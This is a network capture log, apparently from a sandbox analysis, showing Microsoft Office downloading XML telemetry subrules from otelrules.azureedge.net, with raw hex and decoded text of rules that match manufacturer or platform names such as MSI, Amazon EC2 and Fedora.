2024-11-18 19:21:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:31 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 0304051c-b01e-0070-43af-361cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192131Z-1866b5c5fbbg9tvxhC1DFWy9mg000000020000000000pqfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:31 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49758	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:31 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:31 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 316038b9-a01e-006f-2591-3713cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192131Z-1866b5c5fbbz7hb5hC1DFWru7c000000067g00000000642u x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:31 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:31 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:31 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 7b112b71-901e-005b-73c6-372005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192131Z-1866b5c5fbb2t6txhC1DFWa2qc00000006a0000000006r27 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:31 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49755	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:31 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:31 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:31 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 140e2611-e01e-003c-3f87-36c70b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192131Z-164f84587bf28gjzhC1DFW35kg0000000690000000002bhn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:31 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49759	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:32 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:32 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:32 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: de79bc98-401e-0064-1e9b-3754af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192132Z-16547b76f7fmcv27hC1DFWgpcg00000004yg00000000sm4b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:32 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49763	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:32 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:32 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: 04c36cdc-401e-002a-6f4a-38c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192132Z-164f84587bffvwt9hC1DFW2ktw00000003xg00000000kyff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:32 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49760	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:32 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:32 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 1f260c93-f01e-00aa-587d-378521000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192132Z-164f84587bf6n6jwhC1DFW90fn00000005ag00000000vzfc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:32 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
53	192.168.2.5	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:32 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:32 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: d2131438-301e-006e-59dc-37f018000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192132Z-164f84587bfm8kdnhC1DFWey4g00000006e00000000041ef x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:32 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
54	192.168.2.5	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:32 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:32 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:32 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 0fe31a08-b01e-001e-2cae-360214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192132Z-16547b76f7fwm7vghC1DFW900s00000003u000000000gq0d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:32 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
55	192.168.2.5	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:33 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:33 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: a914475d-501e-00a0-6190-379d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192133Z-16547b76f7fd4rc5hC1DFWkzhw00000006mg000000002t8b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:33 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
56	192.168.2.5	49766	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:33 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:33 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:33 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: 885b02a2-801e-0035-1509-37752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192133Z-16547b76f7f7zzl8hC1DFWmtag00000005600000000051du x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:33 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
57	192.168.2.5	49767	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-18 19:21:33 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-18 19:21:33 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 19:21:33 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: b85626fa-d01e-0017-75bb-37b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241118T192133Z-16547b76f7fsq6p7hC1DFWfx6800000004hg000000010mrn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-18 19:21:33 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.5	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
